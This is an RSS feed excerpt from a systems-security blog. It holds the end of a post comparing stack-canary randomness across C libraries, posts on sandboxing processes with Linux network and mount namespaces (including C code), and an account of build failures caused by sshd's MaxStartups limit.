<p>To retrieve the value for the current execution, set <code>LD_SHOW_AUXV=1</code>.</p>
<pre><code>$ LD_SHOW_AUXV=1 /bin/true | grep AT_RANDOM
AT_RANDOM:       0x7ffcacfa8c49
</code></pre>
<p>Source:
<a href="https://sourceware.org/git/?p=glibc.git;a=blob;f=sysdeps/unix/sysv/linux/dl-osinfo.h;h=e01da53900cc5c501d978443acbb3f3b0b937c59;hb=HEAD#l26"><code>glibc/sysdeps/unix/sysv/linux/dl-osinfo.h:26</code></a></p>
<h3 id="musl-libc">musl libc</h3>
<p>The lightweight alternative C library <em>musl</em> uses <code>AT_RANDOM</code> for its stack
canaries, just like <em>glibc</em>. As a fallback on non-Linux it uses the address of
<code>__stack_chk_guard</code> multiplied by a <em>magic</em> value (<code>0x41C64E6D</code>), which may
seem suboptimal at first glance.</p>
<p>However, if <em>ASLR</em> is available, it can serve as a source of randomness.
<em>ASLR</em> randomizes memory addresses, making it challenging for
attackers to exploit memory-related vulnerabilities. By relying on ASLR to randomize the stack canary value in the fallback scenario, it ensures that the canary is not easily guessable.</p>
<p>Source:
<a href="https://git.musl-libc.org/cgit/musl/tree/src/env/__stack_chk_fail.c?id=74a28a8af21977ebbc2945beb879f1b9b6ff13ba#n7"><code>musl/src/env/__stack_chk_fail.c:7</code></a></p>
<h3 id="bionic-libc">bionic libc</h3>
<p>The <em>bionic libc</em>, utilized by Google on Android, uses an <em>arc4</em> random
number generator if the <code>/dev/urandom</code> pseudo-device is available. If not, it
falls back to using <code>AT_RANDOM</code> through the auxiliary vector.</p>
<p>Source:
<a href="https://android.googlesource.com/platform/bionic/&#43;/a1e3f2c50253c67f3ed647ae64a066751dc4b857/libc/bionic/__libc_init_main_thread.cpp#109"><code>bionic/libc/bionic/__libc_init_main_thread.cpp:109</code></a></p>
<h3 id="uclibc-ng">uclibc-ng</h3>
<p><em>uclibc-ng</em> is a small C library primarily designed for embedded systems. For the
random number generation of its stack protector it utilizes <code>/dev/urandom</code> by
default. Alternatively, it can also fall back to a pseudo-random approach based on
a <em>magic</em> value (<code>0xFF0A0D00UL</code>) xor current time.</p>
<p>Source:
<a href="https://cgit.uclibc-ng.org/cgi/cgit/uclibc-ng.git/tree/libc/sysdeps/linux/common/dl-osinfo.h?id=b534100aaae00dd58ca907b60cd0510ccdc6df10#n36"><code>uclibc-ng/libc/sysdeps/linux/common/dl-osinfo.h:36</code></a></p>
<h3 id="dietlibc">dietlibc</h3>
<p>The statically linked C library, developed by fefe, also
takes hold of <code>AT_RANDOM</code> for stack canary generation, with an optional
fallback to <code>/dev/urandom</code>.</p>
<p>Source: <a href="https://www.fefe.de/dietlibc/"><code>dietlibc/lib/stackgap-common.h</code></a></p>
<h3 id="picolibc-not-really-linux-specific">picolibc (not really Linux specific)</h3>
<p><em>picolibc</em> is another C library primarily used on embedded systems, particularly in scenarios with very limited main memory. Per default, it uses the
<em>magic</em> value <code>0x00</code>, <code>0x00</code>, <code>0xff</code>, <code>0x0a</code> (see <em>libssp</em>). If feasible and constructors are available, it utilizes the random number generator of the operating system.</p>
<p>Source:
<a href="https://keithp.com/cgit/picolibc.git/tree/newlib/libc/ssp/stack_protector.c?id=ae418e7598407eff329744ecbb0c1348ab4a79c9#n21"><code>picolibc/newlib/libc/ssp/stack_protector.c:21</code></a></p>
<h3 id="linux-kernel-no-libc">Linux kernel (no libc)</h3>
<p>The Linux kernel itself incorporates a stack protector mechanism for each kernel stack. It obtains random numbers from its internal random number generator.</p>
<p>Source:
<a href="https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/include/linux/stackprotector.h?id=b3883a9a1f09e7b41f4dcb1bbd7262216a62d253#n23"><code>linux/include/linux/stackprotector.h:23</code></a></p>
<h3 id="openbsd-libc">OpenBSD libc</h3>
<p>OpenBSD&rsquo;s libc previously used the <code>getentropy()</code> system call to obtain random values
in its stack canaries, which recevied its bytes directly from the kernel&rsquo;s
entropy pool. However, starting from the 5.3 release, they transitioned to <code>.openbsd.randomdata</code>,
which is an ELF section filled by the kernel on program execution (using its
entropy pool).<sup id="fnref:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup></p>
<p>Source:
<a href="https://github.com/openbsd/src/blob/ea6088e7d368d53c49ebfdf4520275cec2f78f5b/lib/libc/sys/stack_protector.c#L47"><code>openbsd-src/lib/libc/sys/stack_protector.c:47</code></a></p>
<h2 id="conclusionfusion">Con{clusion,fusion}</h2>
<p>The variations in the implementation details of stack protectors
and the generation of its stack canaries across diverse C libraries are
remarkably diverse. Some C libraries utilize the (pseudo) random number generator
of the OS, while others have their own implementations.</p>
<p>Generally, C libraries follow quite sane defaults. However, the main concern
lies in the fallbacks: They are often questionable. One possible attack vector
would be to ensure that the C library falls back to a (less secure) source of
random numbers.</p>
<div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
<p><a href="https://www.gnu.org/software/libc/manual/html_node/Auxiliary-Vector.html">https://www.gnu.org/software/libc/manual/html_node/Auxiliary-Vector.html</a>&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:2">
<p><a href="https://github.com/openbsd/src/blob/master/libexec/ld.so/SPECS.randomdata">https://github.com/openbsd/src/blob/master/libexec/ld.so/SPECS.randomdata</a>&#160;<a href="#fnref:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>
]]></content:encoded></item><item><title>Restricting network access using Linux Network Namespaces</title><link>https://sigma-star.at/blog/2023/05/sandbox-netns/</link><pubDate>Sun, 07 May 2023 00:00:00 +0200</pubDate><author>Richard Weinberger</author><guid>https://sigma-star.at/blog/2023/05/sandbox-netns/</guid><description><![CDATA[<h1 id="restricting-network-access-using-linux-network-namespaces">Restricting network access using Linux Network Namespaces</h1>
<p>Our <a href="https://sigma-star.at/blog/2023/03/sandbox-mountns/" title="Restricting file system access using Linux Mount Namespaces">last blog post</a> explored ways to restrict access to the file system using Linux mount namespaces. In this post, we&rsquo;ll show you how to restrict access to the network using Linux&rsquo;s network namespaces. That&rsquo;s basically a new instance of the Linux network stack. By default a new network namespace contains no network interfaces except a new instance of the loopback interface.
The main use cases are Linux containers: Network namespaces allow a container having its own network configuration without the risk of compromising the host.</p>]]></description><content:encoded><![CDATA[<h1 id="restricting-network-access-using-linux-network-namespaces">Restricting network access using Linux Network Namespaces</h1>
<p>Our <a href="https://sigma-star.at/blog/2023/03/sandbox-mountns/" title="Restricting file system access using Linux Mount Namespaces">last blog post</a> explored ways to restrict access to the file system using Linux mount namespaces. In this post, we&rsquo;ll show you how to restrict access to the network using Linux&rsquo;s network namespaces. That&rsquo;s basically a new instance of the Linux network stack. By default a new network namespace contains no network interfaces except a new instance of the loopback interface.
The main use cases are Linux containers: Network namespaces allow a container having its own network configuration without the risk of compromising the host.</p>
<h2 id="the-baseline">The Baseline</h2>
<p>Consider a requirement where an application needs to ensure that it can no longer access the network or establish new connections. One way to achieve this is by creating a new network namespace.</p>
<p>When the application creates a new network namespace, it can no longer access the network nor the host itself. Access is not denied by the namespace mechanisms themselves, but by the way networking works. There is no network interface to the outside world; all the namespace has is a loopback interface. To connect the network namespace to the outside world the application either has to set up a virtual ethernet connection or move a physical network interface into the namespace. This is usually done by container engines and is a privileged operation. By not doing so, the application is network-wise isolated.</p>
<h2 id="network-namespaces">Network Namespaces</h2>
<figure>
<img src="ns.png" loading="lazy" decoding="async" alt="An example of multiple network namespaces" width="969" height="276"> <figcaption class="break-words hyphens-auto">An example of multiple network namespaces</figcaption></figure>
<p>Similar to mount namespaces, creating a network namespace requires the <code>CAP_SYS_ADMIN</code> capability. Therefore, an unprivileged application must first create a new user namespace to be able to create a network namespace.  For simple unprivileged applications, utilizing the <code>unshare()</code> system call is good enough to create a new user and network namespace to disassociate itself from the network. Thus, a call like <code>unshare(CLONE_NEWNET | CLONE_NEWUSER)</code> is sufficient for unprivileged applications to isolate itself from the network. While the application has all capabilities in the freshly created user namespace and can alter the new network namespaces as it wishes, it has no way to establish a virtual network connection to the parent namespace, nor can it re-enter the parent namespace.
This is because it has no capabilities on the host side (the parent namespaces in this case).</p>
<p>If the application is privileged (i.e., it has <code>CAP_SYS_ADMIN</code> and <code>CAP_NET_ADMIN</code>) then it is crucial to drop privileges inside the new user namespace to avoid escape.
Dropping capabilities is usually something you would do with the help of libcap or libcap-ng.
Here, we&rsquo;re using libcap-ng.</p>
<p>The following lines of code outline the needed steps to create a new network namespace and drop privileges.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-C" data-lang="C"><span class="line"><span class="cl"><span class="nf">assert</span><span class="p">(</span><span class="nf">unshare</span><span class="p">(</span><span class="n">CLONE_NEWUSER</span> <span class="o">|</span> <span class="n">CLONE_NEWNET</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nf">assert</span><span class="p">(</span><span class="nf">capng_lock</span><span class="p">()</span> <span class="o">==</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="nf">capng_clear</span><span class="p">(</span><span class="n">CAPNG_SELECT_BOTH</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="nf">assert</span><span class="p">(</span><span class="nf">capng_apply</span><span class="p">(</span><span class="n">CAPNG_SELECT_BOTH</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="nf">assert</span><span class="p">(</span><span class="nf">prctl</span><span class="p">(</span><span class="n">PR_SET_NO_NEW_PRIVS</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">);</span>
</span></span></code></pre></div><h2 id="pitfall-loopback-interface">Pitfall: Loopback Interface</h2>
<p>Network namespaces come with one pitfall: By default the loopback interface is set to down state. If your new network namespace will contain applications that communicate via loopback, don&rsquo;t forget to bring up the loopback interface. Otherwise, you may observe strange failures because most applications blindly assume loopback.</p>
<p>You can try this yourself using the <code>unshare</code> tool in your favorite shell:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-console" data-lang="console"><span class="line"><span class="cl"><span class="gp">$</span> unshare -Unr
</span></span><span class="line"><span class="cl"><span class="gp">$</span> ping localhost
</span></span><span class="line"><span class="cl"><span class="go">connect: Cannot assign requested address
</span></span></span><span class="line"><span class="cl"><span class="go"></span><span class="gp">$</span> ip link <span class="nb">set</span> up dev lo
</span></span><span class="line"><span class="cl"><span class="gp">$</span> ping localhost
</span></span><span class="line"><span class="cl"><span class="go">PING localhost(localhost (::1)) 56 data bytes
</span></span></span><span class="line"><span class="cl"><span class="go">64 bytes from localhost (::1): icmp_seq=1 ttl=64 time=0.055 ms
</span></span></span></code></pre></div><h2 id="inherited-sockets">Inherited Sockets</h2>
<p>Please note that network namespaces, actually Linux namespaces in general, have no influence on existing file handles. Therefore, if your application possesses a file handle to a socket from another network namespace, it can use it in the new network namespace smoothly.</p>
<p>This is a useful feature as it allows creating network servers that can serve a listening socket but are disconnected from the outside world. If an attacker manages to overtake the application, they are unable to create a new socket to reach destinations outside the sandbox.
<a href="https://sigma-star.at/blog/2023/05/sandbox-netns/nonetsrv.c">Here</a> you can find a sample application that outlines the idea.</p>
<h2 id="summary">Summary</h2>
<p>Namespace are not only useful for building containers, but they can also be utilized to restrict access. In this case, we used network namespaces to deny access to the network.
For more details on namespaces, see <a href="https://man7.org/linux/man-pages/man7/namespaces.7.html">namespaces(7)</a>.</p>
]]></content:encoded></item><item><title>Too many CPUs to build</title><link>https://sigma-star.at/blog/2023/04/too-many-cpus/</link><pubDate>Sun, 09 Apr 2023 00:00:00 +0200</pubDate><author>Richard Weinberger</author><guid>https://sigma-star.at/blog/2023/04/too-many-cpus/</guid><description><![CDATA[<h1 id="too-many-cpus-to-build">Too many CPUs to build</h1>
<p>Lately, we&rsquo;ve been facing strange build errors on one of our build servers.
Building a Yocto based firmware sometimes failed to build.
While the error message was clear - bitbake&rsquo;s git fetcher was unable to pull sources from a remote git server - it was less clear what caused the problem.
The error message from bitbake indicated a connection reset.
Cloning the affected repository manually worked perfectly fine, and also building the failed target by manual execution of bitbake worked.</p>]]></description><content:encoded><![CDATA[<h1 id="too-many-cpus-to-build">Too many CPUs to build</h1>
<p>Lately, we&rsquo;ve been facing strange build errors on one of our build servers.
Building a Yocto based firmware sometimes failed to build.
While the error message was clear - bitbake&rsquo;s git fetcher was unable to pull sources from a remote git server - it was less clear what caused the problem.
The error message from bitbake indicated a connection reset.
Cloning the affected repository manually worked perfectly fine, and also building the failed target by manual execution of bitbake worked.</p>
<p>When the issue occured first, we thought it was a network glitch and didn&rsquo;t bother much.
But the issue persisted and occurred again. With more failures, we were able to characterize the problem:</p>
<ul>
<li>Incremental rebuilds failed most likely</li>
<li>Full builds with an empty <code>sstate-cache</code> never failed</li>
<li>Full builds with a populated <code>sstate-cache</code> failed often</li>
<li>Manual rebuild of a single tailed target always worked</li>
<li>Only recipes with <code>AUTOREV</code> were affected</li>
<li>Only recipes that fetch from a specific git server using ssh were affected</li>
</ul>
<p>In the meantime, we suspected the connection to the git server - but none of our tests indicated a problem.
Reaching the git server in question involves another ssh jump host and a VPN connection to a customer. So there were quite a few components which were not under our control.</p>
<p>Finally, setting the log level of the ssh jump host to verbose gave us the crucial clue, as it logged:</p>
<pre tabindex="0"><code>drop connection #10 from hidden:48324 on hidden:22 past MaxStartups
</code></pre><p>So, we&rsquo;ve been overrunning the jump host by reaching more than 10 concurrent unauthenticated connections. This was the reason behind the strange build errors!
Due to Yocto&rsquo;s parallelism, it ran <code>git ls-remote</code> in parallel and established at least one connection per CPU.
The affected build server has way more than 10 CPUs.
This explains why only our most powerful server was affected, and only rebuilds or builds with populated <code>sstate-cache</code> failed sometimes.
All other builds ran enough other tasks in between to never reach the connection limit.</p>
<h2 id="the-morale-of-the-story">The morale of the story?</h2>
<p>Always make sure that you allow more parallel connections than you have CPUs.
In our case, adjusting sshd&rsquo;s <code>MaxSessions</code> and <code>MaxStartups</code> settings fixed the problem.</p>
]]></content:encoded></item><item><title>Restricting file system access using Linux Mount Namespaces</title><link>https://sigma-star.at/blog/2023/03/sandbox-mountns/</link><pubDate>Sat, 18 Mar 2023 00:00:00 +0100</pubDate><author>Richard Weinberger</author><guid>https://sigma-star.at/blog/2023/03/sandbox-mountns/</guid><description><![CDATA[<h1 id="restricting-file-system-access-using-linux-mount-namespaces">Restricting file system access using Linux Mount Namespaces</h1>
<p>Linux offers a variety of mechanisms to confine a process, one of them are namespaces. Nowadays, they are commonly used as foundation for Linux containers. In this blog post you&rsquo;ll learn how namespaces can be used to restrict access to the file system for a given process and all its children.</p>
<h2 id="the-baseline">The baseline</h2>
<p>Let&rsquo;s consider you want to make sure that your new application can use all system resources but has no access to certain parts of the file system. e.g. access to <code>/home</code> should be impossible. Or an application which runs within your user session should have no access to your <code>.ssh</code> folder which contains usually valuable assets.</p>]]></description><content:encoded><![CDATA[<h1 id="restricting-file-system-access-using-linux-mount-namespaces">Restricting file system access using Linux Mount Namespaces</h1>
<p>Linux offers a variety of mechanisms to confine a process, one of them are namespaces. Nowadays, they are commonly used as foundation for Linux containers. In this blog post you&rsquo;ll learn how namespaces can be used to restrict access to the file system for a given process and all its children.</p>
<h2 id="the-baseline">The baseline</h2>
<p>Let&rsquo;s consider you want to make sure that your new application can use all system resources but has no access to certain parts of the file system. e.g. access to <code>/home</code> should be impossible. Or an application which runs within your user session should have no access to your <code>.ssh</code> folder which contains usually valuable assets.</p>
<p>Mount namespaces are one way to achieve this. Let&rsquo;s write an unprivileged program which can be used as wrapper for another application but it will hide <code>.ssh</code> in the home directory.
By using mount namespaces it is possible to make a copy of the current namespace and edit it.
A program can either</p>
<ul>
<li>use the <code>unshare()</code> system call to disconnect itself from the current namespace and create a new one, or:</li>
<li>create a new child process with <code>clone()</code> where the child has a new namespace.</li>
</ul>
<h2 id="user-namespaces">User Namespaces</h2>
<p>The act of creating a new mount namespace is restricted to processes which have the <code>CAP_SYS_ADMIN</code> capability. To use this facility in an unprivileged program we have to use a second namespace: the user namespace. User namespaces allow an unprivileged process gaining all capabilities and being uid 0. Linux guarantees that all actions taken by uid 0 within a user namespace adhere to the access rights of the unprivileged process. That way an unprivileged process can do things usually only root can do, but no action will have a visible effect to processes outside of the namespace.</p>
<h3 id="configuration-of-a-user-namespace">Configuration of a user namespace</h3>
<p>By calling <code>unshare(CLONE_NEWNS | CLONE_NEWUSER)</code> our program will gain a new user and mount namespace. Before we can proceed, we need to configure the user namespace. We want to have uid 0 with all capabilities inside our new user namespace. To achieve this, we must install a user and group mapping. The mapping tells Linux that everything we do inside the namespace should run outside the namespace as our current user id.
Unprivileged processes are only allowed to install exactly one mapping where the target user and group ids match the outer namespace. Otherwise a processes could gain more privileges than it has.</p>
<p>Both user and group id mappings are controlled via two files in the processes&rsquo; <code>/proc</code> directory, <code>/proc/PID/uid_map</code> and <code>/proc/PID/gid_map</code>.
Let&rsquo;s assume the current uid is 1000 and gid is 100, then we need to write <code>1000 0 1</code> and <code>100 0 1</code> into the map files.
So ids 1000 or 100 should be mapped to 0 once.
Furthermore, the processes&rsquo;s <code>setgroups</code> file has to be configured to <code>deny</code>. This is needed to be able to switch the group id within the user namespace. Only privileged processes are allowed to keep the file set to <code>allow</code> and therefore can modify their set of supplementary groups.</p>
<p>After this overly complicated setup procedure we&rsquo;re allowed to run <code>setuid(0)</code> and <code>setgid(0)</code> to become uid 0 within the user namespace and can finally work on the mount namespace.</p>
<h3 id="creating-helper-functions">Creating helper functions</h3>
<p>To ease things, let&rsquo;s create first a helper function which writes a single line into a file below <code>/proc/self/</code>:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-C" data-lang="C"><span class="line"><span class="cl"><span class="k">static</span> <span class="kt">void</span> <span class="nf">write_proc_self</span><span class="p">(</span><span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">file</span><span class="p">,</span> <span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">content</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="kt">size_t</span> <span class="n">len</span> <span class="o">=</span> <span class="nf">strlen</span><span class="p">(</span><span class="n">content</span><span class="p">)</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="kt">char</span> <span class="o">*</span><span class="n">path</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="kt">int</span> <span class="n">fd</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="nf">assert</span><span class="p">(</span><span class="nf">asprintf</span><span class="p">(</span><span class="o">&amp;</span><span class="n">path</span><span class="p">,</span> <span class="s">&#34;/proc/self/%s&#34;</span><span class="p">,</span> <span class="n">file</span><span class="p">)</span> <span class="o">!=</span> <span class="o">-</span><span class="mi">1</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="n">fd</span> <span class="o">=</span> <span class="nf">open</span><span class="p">(</span><span class="n">path</span><span class="p">,</span> <span class="n">O_RDWR</span> <span class="o">|</span> <span class="n">O_CLOEXEC</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="nf">free</span><span class="p">(</span><span class="n">path</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="nf">assert</span><span class="p">(</span><span class="n">fd</span> <span class="o">&gt;=</span> <span class="mi">0</span><span class="p">);</span> 
</span></span><span class="line"><span class="cl">        <span class="nf">assert</span><span class="p">(</span><span class="nf">write</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span> <span class="n">content</span><span class="p">,</span> <span class="n">len</span><span class="p">)</span> <span class="o">==</span> <span class="n">len</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="nf">close</span><span class="p">(</span><span class="n">fd</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>A further helper is <code>update_uidgid_map()</code>, which constructs and writes the user and group mappings:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-C" data-lang="C"><span class="line"><span class="cl"><span class="k">static</span> <span class="kt">void</span> <span class="nf">update_uidgid_map</span><span class="p">(</span><span class="kt">uid_t</span> <span class="n">from</span><span class="p">,</span> <span class="kt">uid_t</span> <span class="n">to</span><span class="p">,</span> <span class="kt">bool</span> <span class="n">is_user</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="kt">char</span> <span class="o">*</span><span class="n">map_content</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="nf">assert</span><span class="p">(</span><span class="nf">asprintf</span><span class="p">(</span><span class="o">&amp;</span><span class="n">map_content</span><span class="p">,</span> <span class="s">&#34;%u %u 1</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">from</span><span class="p">,</span> <span class="n">to</span><span class="p">)</span> <span class="o">!=</span> <span class="o">-</span><span class="mi">1</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="p">(</span><span class="n">is_user</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">                <span class="nf">write_proc_self</span><span class="p">(</span><span class="s">&#34;uid_map&#34;</span><span class="p">,</span> <span class="n">map_content</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="k">else</span>
</span></span><span class="line"><span class="cl">                <span class="nf">write_proc_self</span><span class="p">(</span><span class="s">&#34;gid_map&#34;</span><span class="p">,</span> <span class="n">map_content</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="nf">free</span><span class="p">(</span><span class="n">map_content</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>And finally another helper: <code>deny_setgroups()</code> writes <code>deny</code> to the <code>setgroups</code> file:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-C" data-lang="C"><span class="line"><span class="cl"><span class="k">static</span> <span class="kt">void</span> <span class="nf">deny_setgroups</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nf">write_proc_self</span><span class="p">(</span><span class="s">&#34;setgroups&#34;</span><span class="p">,</span> <span class="s">&#34;deny</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>Using the helpers from above and switching to uid and gid 0 happens in <code>become_uid0()</code>:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-C" data-lang="C"><span class="line"><span class="cl"><span class="k">static</span> <span class="kt">void</span> <span class="nf">become_uid0</span><span class="p">(</span><span class="kt">uid_t</span> <span class="n">orig_uid</span><span class="p">,</span> <span class="kt">gid_t</span> <span class="n">orig_gid</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nf">deny_setgroups</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">        <span class="nf">update_uidgid_map</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">orig_gid</span><span class="p">,</span> <span class="nb">false</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="nf">update_uidgid_map</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">orig_uid</span><span class="p">,</span> <span class="nb">true</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="nf">assert</span><span class="p">(</span><span class="nf">setuid</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="nf">assert</span><span class="p">(</span><span class="nf">setgid</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><h2 id="mount-namespaces">Mount Namespaces</h2>
<p>The very first operation to the mount namespace is marking it as a hole as slave to the parent namespace. A slave mount namespace receives new mounts from outside. For example, if a user plugs in a USB thumb drive, this new mount point will also be visible to us. This is achieved with the following command:
<code>mount(&quot;none&quot;, &quot;/&quot;, NULL, MS_REC|MS_SLAVE, NULL)</code>. The important settings are <code>MS_REC</code> and <code>MS_SLAVE</code>.</p>
<p>By setting the <code>MS_REC</code> flag we tell Linux to apply the new settings to all mount points below <code>/</code>.
And <code>MS_SLAVE</code> sets the mounts, as the name describes, into slave mode.
If we didn&rsquo;t want to see new mounts instead of <code>MS_SLAVE</code>, <code>MS_PRIVATE</code> can be used.</p>
<h3 id="adding-new-mounts">Adding new mounts</h3>
<p>Since we&rsquo;re still unprivileged despite being uid 0 in our user namespace, we are only allowed to perform certain operations on the mount namespace.
Our mount namespace is an immutable copy of the namespace we were in before, so we cannot unmount individual parts of it. However, we are allowed to unmount it as a whole or add new mounts to it. We&rsquo;ll use the latter.  Only very few virtual file systems can be mounted within a user namespace.  One of them is <code>tmpfs</code>, which is an in-memory filesystem. We&rsquo;ll use it to over mount <code>.ssh</code>, so that <code>.ssh</code> becomes an empty directory where all modifications are done to ram but the underlying content is hidden.
To ensure that no memory is wasted by filling <code>tmpfs</code>, we&rsquo;ll mount it as read-only, so that nobody can write to it.
Changing the working directory to <code>/</code> and back is an important step. If we don&rsquo;t do so and the current directory is the user&rsquo;s <code>.ssh</code>, the process will still posess a reference and can access it.</p>
<p>All of the above happens in <code>setup_mounts()</code>:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-C" data-lang="C"><span class="line"><span class="cl"><span class="k">static</span> <span class="kt">void</span> <span class="nf">setup_mounts</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">	<span class="kt">char</span> <span class="o">*</span><span class="n">curdir</span> <span class="o">=</span> <span class="nf">get_current_dir_name</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">	<span class="kt">char</span> <span class="o">*</span><span class="n">homedir</span> <span class="o">=</span> <span class="nf">getenv</span><span class="p">(</span><span class="s">&#34;HOME&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">	<span class="kt">char</span> <span class="o">*</span><span class="n">sshdir</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">	<span class="nf">assert</span><span class="p">(</span><span class="n">curdir</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">	<span class="nf">assert</span><span class="p">(</span><span class="n">homedir</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">	<span class="nf">assert</span><span class="p">(</span><span class="nf">mount</span><span class="p">(</span><span class="s">&#34;none&#34;</span><span class="p">,</span> <span class="s">&#34;/&#34;</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">MS_REC</span> <span class="o">|</span> <span class="n">MS_SLAVE</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">	<span class="nf">assert</span><span class="p">(</span><span class="nf">asprintf</span><span class="p">(</span><span class="o">&amp;</span><span class="n">sshdir</span><span class="p">,</span> <span class="s">&#34;%s/.ssh&#34;</span><span class="p">,</span> <span class="n">homedir</span><span class="p">)</span> <span class="o">!=</span> <span class="o">-</span><span class="mi">1</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">	<span class="nf">assert</span><span class="p">(</span><span class="nf">mount</span><span class="p">(</span><span class="s">&#34;tmpfs&#34;</span><span class="p">,</span> <span class="n">sshdir</span><span class="p">,</span> <span class="s">&#34;tmpfs&#34;</span><span class="p">,</span> <span class="n">MS_RDONLY</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">	<span class="nf">chdir</span><span class="p">(</span><span class="s">&#34;/&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">	<span class="nf">chdir</span><span class="p">(</span><span class="n">curdir</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">	<span class="nf">free</span><span class="p">(</span><span class="n">sshdir</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">	<span class="nf">free</span><span class="p">(</span><span class="n">curdir</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>But we&rsquo;re not done yet. The mount we just made can still be undone, if somebody finds a way to execute code within the program we&rsquo;re wrapping all our modifications to the original mount namespace can be undone.</p>
<h2 id="sealing">Sealing</h2>
<p>To seal the current mount namespace, we create a new user namespace. User and mount namespaces are tightly connected. Every mount namespace has an owning user namespace and modifications are only allowed by the owner. With the new user namespace we give up the ownership and make sure no further modifications can happen. Additionally, we switch back to the user and group ids we had initially.
So we utilize again the <code>unshare()</code> system call, but this time only with the <code>CLONE_NEWUSER</code> flag, and install the following uid and gid mappings, <code>0 1000 1</code>, <code>0 100 1</code>. The attentive reader will notice that this time we map back from 0 to 1000 or 100 again.</p>
<p>So we need another helper: <code>become_orig()</code>. It switches back to the original user ids:</p>
